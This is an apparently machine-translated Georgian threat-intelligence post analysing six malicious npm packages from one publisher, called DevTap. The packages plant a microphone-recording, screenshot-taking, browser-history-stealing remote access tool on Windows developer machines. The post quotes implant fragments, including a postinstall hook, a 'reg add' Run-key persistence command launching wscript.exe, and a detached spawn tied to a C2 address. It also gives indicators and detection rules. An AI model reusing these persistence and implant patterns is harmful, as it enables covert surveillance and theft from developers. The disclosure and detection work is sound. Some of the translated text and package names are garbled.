DevTap npm Typosquatting შეტევა

DevTap npm Typosquatting შეტევა: ექვსი მავნე პაკეტი დეველოპერების სამუშაო სადგურებს ესხმის თავს

სარჩევი

აუცილებლად წასაკითხი პოსტები

საინტერესო უახლესი პოსტები

TL; DR

2026 წლის 1 აპრილიდან 3 მაისამდე პერიოდში, ერთი npm გამომცემელი, user0001, დარეგისტრირებულია დაუდასტურებელი Gmail მისამართით tanvisoul9@gmail.com, ჩუმად გადასცა ექვსი პაკეტი განზრახ უინტერესო, ინფრასტრუქტურულ ჟღერადობასთან დაკავშირებული სახელწოდებებით: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtimeდა node-env-resolve.

უახლესი ორი ვერსია node-env-resolve, 1.0.7 და 1.0.8, Xygeni-ის მავნე პროგრამების ადრეული გაფრთხილების (MEW) სისტემამ 2 მაისს აღმოაჩინა და 3 მაისს დაადასტურა, როგორც მავნე.

იმპლანტი უჩვეულოა იმით, რაც არ არის: არ არსებობს Telegram-ის ბოტები, არ არსებობს OAST-ის უკუკავშირი და obfuscationდა ინსტალაციის დროს AWS-ის ავტორიზაციის მოპოვების მცდელობა არ არსებობს. ამის ნაცვლად, postinstall.js ნერგავს Windows-ის ჩატვირთვის მუდმივი ჩანაწერს, HKCU Run ღილაკის გამოყენებით, რომელიც იწყებს wscript.exe VBS stub-ის წინააღმდეგ. შემდეგ ის წარმოქმნის ცალკე Node.js აგენტს, რომელიც აერთიანებს მოდულებს მიკროფონის ჩასაწერად, ბრაუზერის ისტორიის მოპარვისთვის, ეკრანის გადასაღებად და მაუსის/კლავიატურის სიმულაციისთვის.

ჩვენ ამ კლასტერს ვეძახით DevTap, კომპლექტის შემდეგ ის გაშვებული რჩება დეველოპერის მანქანაზე.

წერის მომენტისთვის, ექვსივე პაკეტი npm-ზე იყო ხელმისაწვდომი. ჩვენ ისინი რეესტრის ბოროტად გამოყენების არხში გავაგზავნეთ. დამცველებმა გამომცემლისგან წაშლის მოლოდინში მყოფი ნებისმიერი ინსტალაცია უნდა გააუქმონ.

კლასტერი: ექვსი პაკეტი, ერთი გამომცემელი

გამომცემლის ანგარიში user0001 დაუდასტურებელია. მას არ აქვს SCM ვერიფიკაცია, დომენთან დაკავშირებული ელფოსტის გარეშე და წინა ისტორიის გარეშე. Gmail-ის სახელი tanvisoul9 არ ჩანს npm გამომცემლის არცერთ სხვა ჩანაწერში, რომელიც ჩვენ შევძელით გვეპოვა.

ექვსივე პაკეტი შეიცავს ერთსა და იმავე მომწოდებელს, გამოქვეყნებულია ერთი და იგივე ანგარიშიდან და იზიარებს ერთსა და იმავე ინფორმაციას. package.json სტანდარტული. არ არსებობს repositoryამავე homepage, და არა description ერთ ხაზზე გრძელი.

საინტერესო ნაწილია სახელდების სტრატეგია. კლასიკური დამოკიდებულების დაბნეულობის ან ტიპოსკვატის კამპანიისგან განსხვავებით, ამ სახელებიდან არცერთი არ არის მიმართული კონკრეტულ ზედა დონის ბიბლიოთეკაზე. ამის ნაცვლად, ისინი დაკალიბრებულია ისე, რომ გაქრეს რეალურში. package.json or npm ls გამომავალი.

პაკეტიპირველი გამოქვეყნდაუახლესი ვერსიავერსიებიროლი კლასტერში
ცენტრალოგერი2026-04-01 12:46 UTC1.0.95, 1.0.5-დან 1.0.9-მდეკლასტერის „ჟურნალის შექმნის უტილიტის“ ყდა; ყველაზე ადრეული გამოქვეყნება
dom-utils-lite2026-04-14 07:36 UTC1.0.33ზოგადი DOM-დამხმარის საფარი
node-fetch-lite2026-04-19 10:22 UTC1.0.23მიმიკური კვანძის მოძიების ოჯახი
შემაერთებელი აგენტი2026-04-25 05:12 UTC1.0.01ზოგადი სახელწოდება „აგენტი“
კვანძის gyp-გაშვების დრო2026-04-25 05:17 UTC1.0.01მიბაძავს მშობლიური მოდულის შექმნის ინსტრუმენტებს
კვანძის გარემოს გადაწყვეტა2026-04-25 05:21 UTC1.0.910, 1.0.0-დან 1.0.9-მდეაქტიური საწვეთური; სრული იმპლანტი

სახელები მოსწონს centralogger, node-fetch-liteდა node-gyp-runtime კოდის განხილვისას ისინი უდავო იერსახეს იძენენ. ისინი ისე ჟღერს, თითქოს პროექტის დამოკიდებულების ხეში უკვე იყოს.

ახალ, დაუდასტურებელ გამომცემელთან და საცავის ბმულების არარსებობასთან ერთად, ისინი ქმნიან ამოსაცნობ ნიმუშს: აქტორი რეესტრში ნერგავს ნაკლებად ხახუნის სახელებს, შემდეგ კი სწრაფად იტერაციას უკეთებს მნიშვნელოვან სახელს. ამ შემთხვევაში, node-env-resolve რვა დღეში ათი ვერსია მიიღო.

რა ხვდება Windows Dev Box-ში

მავნე ჯაჭვი node-env-resolve:1.0.8 არის მოკლე, პირდაპირი და უჩვეულოდ მდიდარი ფუნქციებით npm RAT-ისთვის.

პოსტინსტალაცია: მდგრადობა და განცალკევებული აგენტი

package.json აცხადებს ერთი ინსტალაციის კაუჭს:

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js სამ რამეს აკეთებს თანმიმდევრობით.

პირველ რიგში, ის npm ხის გარეთ აყენებს ინსტალაციის დირექტორიას. გზა გამოითვლება სკრიპტში გაშვების დროს, როგორც INSTALL_DIRშემდეგ ის შიდა execSync('npm install --production --silent ...') მასში იმპლანტის გაშვების დროის დამოკიდებულებების გამოსატანად. ეს აგენტს დისკზე ათავსებს სადღაც სახელმძღვანელოში. node_modules აუდიტი ვერ იპოვის.

მეორეც, ის წერს VBS გამშვებ ფაილს და არეგისტრირებს მას ჩატვირთვის მუდმივობისთვის:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe არის Windows Script Host, ხელმოწერილი Microsoft-ის ორობითი ფაილი, რომელიც მუშაობს .vbs ფაილები კონსოლის ფანჯრის გარეშე. ეს წინასწარ არისcisსწორედ ამიტომ არის ის სასურველი autorun stub-ებისთვის.

ასევე არსებობს შესაბამისობა reg delete ბილიკი შიგნით src/index.js, რაც იმაზე მიუთითებს, რომ იმპლანტი ისეა შექმნილი, რომ ოპერატორის ბრძანებით მისი მარტივად მოსახსნელი იყოს.

მესამე, ის წარმოქმნის განცალკევებულ შვილობილ პროცესს:

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

აქ ორი დეტალია მნიშვნელოვანი.

SERVER_URL იკითხება გარემოდან. შედეგად, C2 საბოლოო წერტილი კონფიგურირებადია თითოეული განლაგების მიხედვით და არ არის ინტეგრირებული პაკეტში. ეს პატარა, მაგრამ გააზრებული არჩევანი ამარცხებს სტატიკური IOC-ის უმეტეს სქრაფს.

ასევე, დაბადებული ბავშვი მემკვიდრეობით იღებს სრულ მშობლის გარემოს. ამიტომ, ნებისმიერი NPM_TOKEN, AWS_*, GITHUB_TOKEN, ან SSH-აგენტის სოკეტი, რომელიც ინსტალაციის დროს დეველოპერის გარსში იმყოფება, გადადის ხანგრძლივი მოქმედების აგენტის მეხსიერებაში.

რას აწვდის აგენტი

შეფუთული src/ tree მოიცავს სამ მოდულს, რომელთა სახელებიც კი თავად მოგვითხრობს ისტორიას: audioCapture.js, browserHistory.jsდა systemInfo.js.

გაშვების დროის დამოკიდებულების სია, გადაწყვეტილი ეტაპობრივი დამუშავების დროს npm install, ადასტურებს მათ.

ეს მიდგომა ქაოტურ ინციდენტს კონტროლირებად რეაქციად აქცევს.

ბრმად რეაგირების ნაცვლად, გუნდები მოქმედებენ მკაფიო პრიორიტეტიზაცია და სწრაფი გამოსწორება.

დამოკიდებულებისრისთვის არის ეს ამ კონტექსტში
ეკრანის ანაბეჭდი-დესკტოპიპერიოდული ეკრანის გადაღება
@nut-tree-fork/nut-jsმაუსის და კლავიატურის ავტომატიზაცია / შეყვანის სიმულაცია
უკეთესი-sqlite3Chrome, Edge და Firefox History SQLite მონაცემთა ბაზების პირდაპირი წაკითხვა
adm-zipშეგროვებული არტეფაქტების შეკვრა ექსფილტრაციამდე
მწვავეეკრანის ანაბეჭდების და გამოსახულების არტეფაქტების ზომის შეცვლა/შეკუმშვა
socket.io-კლიენტიმუდმივი ორმხრივი C2 არხი
კვანძის-მანქანის-იდენტიფიკატორისტაბილური თითოეული მასპინძლის თითის ანაბეჭდი მსხვერპლის თვალთვალისთვის

systemInfo.js ზარები os.networkInterfaces() პირველი შუქურის წინ დამატებითი თითის ანაბეჭდის აღებისთვის.

რატომ არის აუდიოჩანაწერი გამორჩეული სიგნალი

MEW-ში ჩვენს მიერ დახარისხებული npm RAT-ების უმეტესობა ინსტალაციის დროს საიდუმლო ქურდობაზე ჩერდება. ისინი კითხულობენ ~/.npmrc, წაიკითხეთ ~/.aws/credentials, გახეხვა process.env, POST-ის გაგზავნა ვებჰუკზე და გასვლა. ეს შეესაბამება „დარტყმისა და მიტაცების“ ეკონომიკურ მოდელს. სერთიფიკატებს მოკლე ნახევარდაშლის პერიოდი აქვთ და თავდამსხმელს სწრაფად მონეტიზაცია სჭირდება.

node-env-resolve ფორმით განსხვავებულია.

მუდმივი ფუნქცია დაყენებულია გადატვირთვის შემდეგაც კი. აგენტი მუშაობს განცალკევებით და დიდი ხნის განმავლობაში. wscript.exeკომპლექტი, რომელსაც ის შეიცავს, განკუთვნილია დეველოპერის მოწყობილობაზე განსათავსებლად და არა აღებისთვის და წასაღებად: მიკროფონის ჩამწერი, კლავიატურის/მაუსის დრაივერი, ბრაუზერის ისტორიის სრული ჩაწერა, ეკრანის ანაბეჭდი და ინტერაქტიული Socket.IO არხი კონფიგურირებად C2-ზე დასაბრუნებლად.

მიკროფონის ჩაწერა კერძოდ ის ზღვარია, რომელსაც ეს კამპანია კვეთს და რომელსაც npm მავნე პროგრამების უმეტესობა ვერ კვეთს.

დეველოპერის სამუშაო ადგილი სულ უფრო ხშირად ხდება სამუშაო ადგილი, სადაც დეველოპერები იღებენ სტენდ-აფებს, მომხმარებლებთან ზარებს, დიზაინზე მსჯელობენ და ზარებს აწარმოებენ. მიკროფონის ჩამწერი იმპლანტი სინამდვილეში არ ეძებთ დეველოპერის npm ტოკენს. ის ეძებთ იმას, რასაც დეველოპერი ლეპტოპის წინ ამბობს.

ეს შესაძლებლობების ნაკრები, პლუს დაბნეულობისა და ინსტალაციის დროს თვალშისაცემი ექსფილტრაციის არარსებობა, მიზნობრივი წვდომისთვის წინასწარ პოზიციონირებად იკითხება და არა ოპორტუნისტული ავტორიზაციის ქურდობად.

ჩვენ მხოლოდ აქედან არ ვამტკიცებთ ატრიბუციას. ჩვენ აღვნიშნავთ ოპერატიულ პროფილს.

npm typosquatting შეტევა - DevTab

რვადღიანი იტერაციული კადენცია node-env-resolve ეს არის ქრონოლოგიის ყველაზე ოპერატიულად მნიშვნელოვანი დეტალი.

ეს არ არის ისეთი მარტივი ჩატვირთვა, რომელიც „გაათავისუფლეთ და დაივიწყეთ“. გამომცემელი აქტიურად ინარჩუნებს ჩატვირთვას, რაც, როგორც წესი, ორიდან ერთ-ერთ რამეს ნიშნავს. ან ისინი მას უფრო ფართოდ განლაგებამდე სატესტო გარემოსთან აკონფიგურირებენ, ან უკვე აქვთ ინსტალაციის ტელემეტრიული ფუნქცია და რეაგირებენ მასზე.

დანარჩენ ხუთ პაკეტს თავდაპირველი გამოქვეყნების შემდეგ ფაქტობრივად არანაირი გაცვლა არ განუცდია. ეს შეესაბამება დამხმარე კლასტერის „ეტაპად ერთხელ, სახელის მითითება“ სქემას, ხოლო ინჟინერიის ძალისხმევა ფოკუსირებულია იმ პაკეტზე, რომელიც ამ სამუშაოს ასრულებს.

ატრიბუცია: მცირე მინიშნებები, მტკიცე განაჩენის გარეშე

საჯარო OSINT სიგნალები თხელია და ჩვენ მათ არ გავჭიმავთ. რა არის დაკვირვებადი:

Gmail-ის სახელური tanvisoul9 ნაწილობრივ ჰგავს სამხრეთ აზიურ სახელს, „ტანვის“. ეს სუსტი სიგნალია. Gmail-ის სახელები არ წარმოადგენს პირადობას და ბოლოში soul9 ზოგადია. გეოგრაფიული მნიშვნელობის დადგენა მხოლოდ ელფოსტის ლოკალური ნაწილიდან უსაფრთხო არ არის.

კოდის სტილი Node.js-ში არაფრით გამორჩეულია: standard ბიბლიოთეკის ზარები, როგორიცაა os, child_process, spawnდა reg addარ არსებობს დაბნეულობა, სტრიქონების როტაცია და ანტი-გამართვის ლოგიკა. ავტორი კომფორტულად გრძნობს თავს Windows-ის რეესტრის პრიმიტივებთან და განცალკევებული შვილ-პროცესების ორკესტრირებასთან, მაგრამ, როგორც ჩანს, არ ცდილობს უფრო ფარული ტექნიკის გამოყენებას, რომლის გამოყენებაც მათ შეიძლება შეეძლოთ.

დამოკიდებულებები სრულიად მიუღებელია და კარგად არის ცნობილი: screenshot-desktop, nut-js, better-sqlite3და socket.io-clientსახელმძღვანელოს გარდა, არ არსებობს მორგებული პროტოკოლი, ნულიდან დაწყებული C2 სტეკი და ახალი, მდგრადი ხერხი. HKCU Run გასაღებიეს არის კომპეტენტური ინტეგრატორი და არა ინსტრუმენტების ავტორი.

გამოქვეყნებულ არტეფაქტებში ვერ ვიპოვეთ არაინგლისური სტრიქონები, ჩაშენებული კომენტარები, ლოკალური მონაცემები ან კომპილატორის გამომავალი დროის სარტყლის ანაბეჭდები.

ჩვენ შევამოწმეთ კოდის გადაფარვა ჩვენს მიერ უკვე თვალყურის დევნებულ წინა კამპანიებთან, მათ შორის შაი-ჰულუდი, ოვლივიონი, ბილდკაიტი და ბოლოდროინდელი ჰეიბაი / claude-code-best ანთროპულ-CLI კლონების ოჯახი. ჩვენ ვერაფერი ვიპოვეთ: ვერცერთი საერთო C2 შაბლონი, ვერც ფაილის განლაგება და ვერც საერთო იდიომები.

რასაც ჩვენ არ ვიტყოდით: რომ ეს არის სახელმწიფო აქტორი, ცნობილი ჯგუფი ან გეოგრაფიულად დაკავშირებულია რომელიმე კონკრეტულ ქვეყანასთან.

ოპერაციული პროფილი შეესაბამება მცირე, საშუალოდ კვალიფიციურ გუნდს, რომელიც ახორციელებს დეველოპერ-სამუშაო სადგურის მეთვალყურეობას. სავარაუდოდ, ფინანსურად მოტივირებულია წვდომის შემდგომი გამოყენებით, მაგრამ შესაძლოა, ასევე ცალკე მყიდველისთვის დაზვერვის, როგორც მომსახურების, ფუნქციით.

ამას ორი ირიბი პუნქტი ადასტურებს: ყურადღების მიმპყრობი ექსფილტრაციის მექანიზმების თავიდან აცილება, რომლებიც კლასტერს სწრაფად დაწვავდა, როგორიცაა Telegram-ის ბოტები, oastify.com, ან canarytokens და განზრახ უფერული პაკეტების სახელები, რომლებიც უპირატესობას ანიჭებენ ჩუმ, გრძელკუდიან ინსტალაციებს მოკლე, მაღალი მოცულობის პიკთან შედარებით.

კომპრომეტირებისა და აღმოჩენის ინდიკატორები

პაკეტები და გამომცემელი
საველეღირებულება
npm გამომცემელიuser0001
გამომცემლის ელ. ფოსტაtanvisoul9@gmail.com, დაუდასტურებელი
პაკეტებიcentralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve
დადასტურებული მავნეკვანძის-გარემოს-გადაჭრა@1.0.7, კვანძის-გარემოს-გადაჭრა@1.0.8
მასპინძელი არტეფაქტები
ტიპიღირებულება
მდგრადობის გასაღებიHKCU\Software\Microsoft\Windows\CurrentVersion\Run
მუდმივობის მნიშვნელობაცვლადის სახელი; wscript.exe ფორმის მონაცემები " \\ .vbs"
კაუჭის დამონტაჟებაpostinstall: პაკეტის მანიფესტში node postinstall.js
იმპლანტის მოდულებიsrc/audioCapture.js, src/browserHistory.js, src/systemInfo.js
ეტაპობრივი დირექტორიაINSTALL_DIR გადაწყდა პროექტის node_modules-ის გარეთ; მდებარეობა დაყენებულია postinstall.js-ის მიერ ინსტალაციის დროს.
ქსელი
ტიპიღირებულება
C2 ტრანსპორტიsocket.io-კლიენტი, მუდმივი ორმხრივი არხი
C2 საბოლოო წერტილიაგენტს მიეწოდება SERVER_URL გარემოს ცვლადის მეშვეობით; არ არის კოდირებული გამოქვეყნებულ არტეფაქტებში.

აღმოჩენის შენიშვნები

ორი წესი იჭერს ამ ოჯახს C2 საბოლოო წერტილის საჭიროების გარეშე.

პირველ რიგში, მონიშნეთ ინსტალაციის შემდგომი სკრიპტები, რომლებიც ასრულებენ შიდა ფუნქციას. npm install პაკეტის საკუთარი დირექტორიის გარეთ მდებარე გზაზე. ნებისმიერი ლეგიტიმური წინასწარი აწყობის ჩამომტვირთავი, მაგალითად node-gyp ხელახლა აწყობილი ან წინასწარ აწყობილი ორობითი ჩამომტვირთავები, პაკეტში ან პლატფორმაზე ჩაწერაstandard ქეშის ბილიკები დადასტურებული ჰეშებით. ის არ იწერს ახლად შექმნილ INSTALL_DIR დისკზე სხვაგან.

მეორეც, მონიშნეთ პრობლემური პოსტინსტალაციის სკრიპტები reg add HKCU\…\Run ერთად wscript.exe როგორც გამშვები. ეს არსებითად არასდროს არის ლეგიტიმური npm პაკეტიდან. მონიშნეთ და მონიშნეთ კარანტინში.

მესამე ევრისტიკა სასარგებლოა შემდეგი და-ძმური პაკეტის აღმოსაჩენად, სანამ ის დადასტურდება: ახალი npm გამომცემელი, რომელსაც არ აქვს SCM ვერიფიკაცია, Gmail-ის ელ.ფოსტა, არა repository ველი და რამდენიმე მოკლე, ზოგადი, ინფრასტრუქტურისთვის დამახასიათებელი პაკეტის სახელწოდება, რომლებიც ერთმანეთისგან რამდენიმე დღის ინტერვალით გამოქვეყნდება, თავისთავად საკმარისია ხელით განხილვის გასამართლებლად.

შეტყობინება გაგზავნილია npm რეესტრში. ამ პოსტს განვაახლებთ, როდესაც გამომცემლის ანგარიში წაიშლება.

sca-tools-software-composition-analysis-tools
თქვენი პროგრამული უზრუნველყოფის რისკების პრიორიტეტიზაცია, გამოსწორება და დაცვა
მიიღეთ თქვენი უფასო ანგარიში.
საკრედიტო ბარათი არ არის საჭირო.

უზრუნველყავით თქვენი პროგრამული უზრუნველყოფის შემუშავება და მიწოდება

Xygeni Product Suite-თან ერთად